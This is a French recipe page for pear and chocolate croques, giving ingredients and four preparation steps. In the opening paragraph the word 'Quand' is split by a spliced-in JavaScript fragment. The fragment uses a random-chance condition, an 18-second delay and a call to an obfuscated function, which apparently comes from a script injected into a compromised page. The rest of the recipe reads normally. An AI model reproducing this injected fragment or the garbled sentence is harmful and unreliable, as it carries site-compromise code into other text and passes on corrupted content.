Croques poire au chocolat
2017-12-31- Thématique : Recettes pour enfants, Végétarien
- Niveau : Facile
Cassez le chocolat en morceaux et faites le fondre sur un bain-marie chaud. Quandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and le chocolat est encore crémeux, retirez du bain-marie et incorporez peu à peu la crème fraîche. Mélangez avec une spatule en bois.
Ingrédients
- Pour 4 personnes
- 8 tranches de pain de mie
- 4 petites poires
- 1 jus de citron
- 200 g de chocolat dessert
- 2 cuillères à soupe de crème fraîche
Préparation de la recette
Etape 1
Cassez le chocolat en morceaux et faites le fondre sur un bain-marie chaud. Quand le chocolat est encore crémeux, retirez du bain-marie et incorporez peu à peu la crème fraîche. Mélangez avec une spatule en bois.
Etape 2
Pelez, coupez en deux les poires, enlevez le cœur et les émincer. Répartissez du chocolat sur chaque tranche de pain de mie, recouvrez de tranches de poire.
Etape 3
Nappez de chocolat. Recouvrez avec la deuxième tranche de pain de mie.
Etape 4
Passez sous le gril du four pendant quelques minutes, jusqu'à ce qu'elle soit légèrement dorée. Versez le reste de sauce au chocolat dans une saucière. Dégustez.
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